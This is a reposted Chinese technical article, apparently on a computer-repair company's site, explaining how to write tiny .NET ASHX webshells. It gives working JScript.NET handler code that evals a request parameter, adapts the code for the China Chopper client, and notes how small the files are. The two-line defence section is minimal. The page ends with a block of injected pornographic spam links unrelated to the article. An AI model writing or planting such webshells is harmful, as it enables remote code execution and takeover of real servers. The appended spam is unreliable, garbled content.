錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
探索基于.NET下實現一句話木馬之ashx篇

作者: 佚名  日期:2018-07-17 16:17:47   來源: 本站整理

 0x01 前言
在滲透測試的時候各種PHP版的一句話木馬已經琳瑯滿目,而.NET平臺下的一句話木馬則百年不變,最常見的當屬下面這句
想必這句話已經成大多數防御產品的標準樣本,除此以外還有上傳文件的一句話,像這種的從嚴格意義上不能算是一句話木馬,只是一個簡單的上傳文件的功能,實際的操作還是大馬或者小馬的操作行為。
筆者感覺有必要挖坑一下.NET平臺里的一句話木馬,經過一番摸索填坑終于可以總結出了.NET下的三駕馬車,于是乎有了這個系列的文章。今天是第一篇著重介紹一般處理程序 (ASHX)下的工作原理和如何實現一句話木馬的介紹,當然介紹之前筆者找到了一款ashx馬兒 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

這個馬兒已經實現了菜刀可連,可用,還是挺棒的,但因為體積過大,并且在服務端實現了大多數功能,其實更像是一個大馬,只是對客戶端的菜刀做了適配可用,所以不能說是一句話木馬了,至于要打造一款居家旅行必備的菜刀馬,還得從原理上搞清楚 ashx的運行過程。
 
0x02 簡介
從Asp.Net 2.0開始,Asp.Net提供了稱為一般處理程序的處理程序,允許我們使用比較簡單的方式定義擴展名為ashx的專用處理程序。對于Asp.Net應用來說,網站最快的處理結果就是HTML網頁,生成網頁的工作通常使用擴展名為Aspx的Web窗體來完成。對于處理結果不是HTML的請求,都可以通過一般處理程序完成。例如生成RSS Feed、XML、圖片等。 一般處理程序是Asp.Net應用中最為簡單、高效的處理程序,在處理返回類型不是HTML的請求中有著重要的作用。通常是實現IHttpHandler接口,因為不必繼承自Page類,所以沒有那么多事件需要處理,不必消耗太多資源,所以性能方面要比Aspx高。
當Http請求進入 Asp.Net Runtime以后,它的管道由托管模塊(NOTE:Managed Modules)和處理程序(NOTE:Handlers)組成,并且由管道來處理這個 Http請求。

HttpRuntime將Http請求轉交給 HttpApplication,HttpApplication代表著程序員創建的Web應用程序。HttpApplication創建針對此Http請求的 HttpContext對象,這些對象包含了關于此請求的諸多其他對象,主要是HttpRequest、HttpResponse、HttpSessionState等。這些對象在程序中可以通過Page類或者Context類進行訪問,而接下來的一句話木馬就是通過Context類進行請求交互的。
 
0x03 一句話的實現
3.1、同步處理:IHttpHandler
首先可以打開C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\CONFIG\ 目錄下的web.config 文件,找到httpHandlers結點,應該可以看到如下這樣的代碼

.Net Framework在處理Http請求時的所采用的默認Handler。而如果我們要用編程的方式來操控一個Http請求,我們就需要實現IHttpHandler接口,來定制我們自己的需求。IHttpHandler的定義是這樣的:
public interface IHttpHandler
{
bool IsReusable { get; }
void ProcessRequest(HttpContext context);
}
由上面可以看出IHttpHandler要求實現一個方法和一個屬性。其中 ProcessRequest,從名字(處理請求)看就知道這里應該放置我們處理請求的主要代碼。IsReusable屬性,MSDN上是這樣解釋的:獲取一個值,該值指示其他請求是否可以使用 IHttpHandler 實例。也就是說后繼的Http請求是不是可以繼續使用實現了該接口的類的實例。如果返回true,則HttpHandler能得到重用,或許某些場合下,是可以達到性能優化的目的。但是,它也可能會引發新的問題:HttpHandler實例的一些狀態會影響后續的請求,也正是由于這個原因在默認情況下,都是不重用的。在通常情況下,當實現IsReusable時返回false,雖然性能上不是最優,但卻是最安全的做法。
了解了基本原理后,筆者開始手動打造一句話小馬,這個馬兒要和PHP或者同胞兄弟Aspx一樣,僅僅在服務端存放體積很小的一段代碼,參考Aspx一句話木馬的實現原理,發現是基于Jscript.Net語言中的eval方法去執行任意字符串的,所以首當其沖考慮用Jscript,并且需要實現IhttpHandler這個接口,查詢資料后得到在Jscript.Net和VB.Net中均采用implements去實現,最終寫出一句話木馬服務端代碼:
import System;
import System.Web;
import System.IO;
public class HandlerSpy implements IHttpHandler{
function IHttpHandler.ProcessRequest(context : HttpContext){
context.Response.Write(“Just for fun, Do not abuse it! Written by Ivan1ee “);
eval(context.Request[“Ivan”]);
}
function get IHttpHandler.IsReusable() : Boolean{
return false;
}
}
這里有必要簡單的介紹一下Jscript.Net的語法;和大多數語言類似導入命名空間也是通過Import,以下摘自微軟描述
import 語句在名稱提供為 namespace 的全局對象上創建屬性并將其初始化,以包含對應于所導入命名空間的對象。 任何使用 import 語句創建的屬性都不能賦給其他對象、刪除或枚舉。 所有 import 語句都在腳本開始時執行。
方法名中的參數和類型之間用冒號分割 ,一對括號外的是返回的類型 。可參考下圖

如果要訪問類中的屬性,需使用 function get 語句,可參考下圖
Jscript簡單語法就介紹到這里,更多的語法可參考微軟官方文檔:https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/z688wt03(v%3dvs.100)
萬事俱備,打開瀏覽器輸入 context.Response.Write(DateTime.Now.ToString()) 成功打印出當前時間

3.2、異步處理:IHttpAsyncHandler
在ASP.NET程序中,適當地使用異步是可以提高服務端吞吐量的。 這里所說的適當地使用異步,一般是說:當服務器的壓力不大且很多處理請求的執行過程被阻塞在各種I/O等待(以網絡調用為主)操作上時, 而采用異步來減少阻塞工作線程的一種替代同步調用的方法。 反之,如果服務器的壓力已經足夠大,或者沒有發生各種I/O等待,那么,在此情況下使用異步是沒有意義的。那么在HttpHandler的接口里要想支持異步,則必須使用另一個接口:IhttpAsyncHandler

這個接口也很簡單只有二個方法,在.net中,異步都是建立在IAsyncResult接口之上的,而BeginProcessRequest / EndProcessRequest是對這個接口最直接的使用方式。筆者通過創建一個C#的Demo來演示異步處理的過程
public class ashxSpy1 : IHttpAsyncHandler
{
public delegate void someDelegate();
public static void writeFile()
{
StreamWriter wickedly = File.CreateText(“d:\\test.txt”);
wickedly.Write(“test”);
wickedly.Flush();
wickedly.Close();
}
public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback asyncCallback, object obj )
{
someDelegate someDelegate = new someDelegate(writeFile);
IAsyncResult iAsyncResult = someDelegate.BeginInvoke(asyncCallback, context);
return iAsyncResult;
}
public void EndProcessRequest(IAsyncResult result){}
bool IHttpHandler.IsReusable
{
get { return true; }
}
void IHttpHandler.ProcessRequest(HttpContext context){}
}
值得注意的是ProcessRequest方法和IsReusable屬性可以不實現它們,但必須要保留下來,因為這個方法也是接口的一部分。核心方法是BeginProcessRequest,其中參數asyncCallback是一個內部委托,那么就需要定義一個委托,將來通過異步的方式回調自定義的方法writeFile 來寫入文件。
知道原理后就開始著手打造異步調用的一句話木馬,和IhttpHandler一樣需要通過Jscript.Net的eval方法去實現代碼執行,有點遺憾之處筆者查詢資料后發現Jscript.Net暫時不支持委托類型,不過只需要在BeginProcessRequest方法里增加HttpContext.Current.Response.End();就可以實現功能并且不讓程序拋出異常,實現的代碼如下:
import System;
import System.Web;
import System.IO;
public class AsyncHandlerSpy implements IHttpAsyncHandler{
function IHttpAsyncHandler.BeginProcessRequest(context : HttpContext,asyncCallback :AsyncCallback , obj : Object ) : IAsyncResult {
context.Response.Write(“Just for fun, Do not abuse it! Written by Ivan1ee”);
eval(context.Request[“Ivan”]);
HttpContext.Current.Response.End();
}
function IHttpAsyncHandler.EndProcessRequest(result : IAsyncResult){}
function IHttpHandler.ProcessRequest(context : HttpContext){}
function get IHttpHandler.IsReusable() : Boolean{return false;}
}
打開瀏覽器,測試效果如下

 
0X04 菜刀連接
圈內常說武功再高,也怕菜刀;那么就有必要了解一下菜刀在連接ASPX的時候會發送什么數據了,經過抓包得到下圖的請求

對于.NET平臺的應用程序默認連接后發送的可執行字符串是Response.Write,而這樣的輸出需要繼承的對象是Page類,所以至今為止,在菜刀的層面.NET下僅支持ASPX,再來看一般處理程序中已經繼承了HttpContext對象實例化后的變量context,由此可以構造出
var I = context;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
eval(context.Request[“Ivan”]);
修改好后用菜刀連接成功,如下圖

基于優化考慮將HandlerSpy.ashx進一步壓縮體積后只有531字節,而AsyncHandlerSpy.ashx也才719字節。

 
0x05  防御措施
通過菜刀連接的方式,添加可以檢測菜刀關鍵特征的規則;
對于Web應用來說,盡量保證代碼的安全性;
 

0x06  小結

  1. 文章中不足之處在于Jscript異步處理的時候沒有能夠用委托的方式去調用,這是一個遺憾,如果有同學提出了更好的解決方法,歡迎多多交流;
  2. 還有本文提供了兩種方式實現ashx一句話的思路,當然還有更多編寫一句話的技巧有待發掘,下次將介紹另外一種姿勢,敬請期待;
  3. 文章的代碼片段請點這里
  4.  

 



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 国产精品无码久久久久久| 无码乱码观看精品久久| 久久午夜无码免费| 无码AV中文一区二区三区| 亚洲欧洲无码一区二区三区| 免费无码午夜福利片| 亚洲中文久久精品无码| 免费无码AV电影在线观看| 少妇无码一区二区二三区| 暴力强奷在线播放无码| 人妻在线无码一区二区三区| 国产精品视频一区二区三区无码 | 无码精品黑人一区二区三区| 中文字幕AV无码一区二区三区| 中文无码日韩欧免费视频| 精品人妻系列无码人妻漫画| 无套中出丰满人妻无码| 中文字字幕在线中文无码| 国产强被迫伦姧在线观看无码| 在线看无码的免费网站| 亚洲A∨无码无在线观看| 精品无码国产污污污免费网站国产 | 日韩经典精品无码一区| 亚洲一区二区无码偷拍| 蜜桃成人无码区免费视频网站| 亚洲精品无码久久久久sm| 国产av无码专区亚洲av果冻传媒| av色欲无码人妻中文字幕| 亚洲av无码成人影院一区| 亚洲爆乳无码专区www| 亚洲中文字幕无码av在线| 日韩AV无码久久一区二区| 久久人妻内射无码一区三区| 国产在线无码视频一区二区三区 | 亚洲人成国产精品无码| 国产丝袜无码一区二区视频| 无码av天天av天天爽| 白嫩无码人妻丰满熟妇啪啪区百度| 免费无码一区二区三区蜜桃大| 成年轻人电影www无码| 人妻少妇伦在线无码|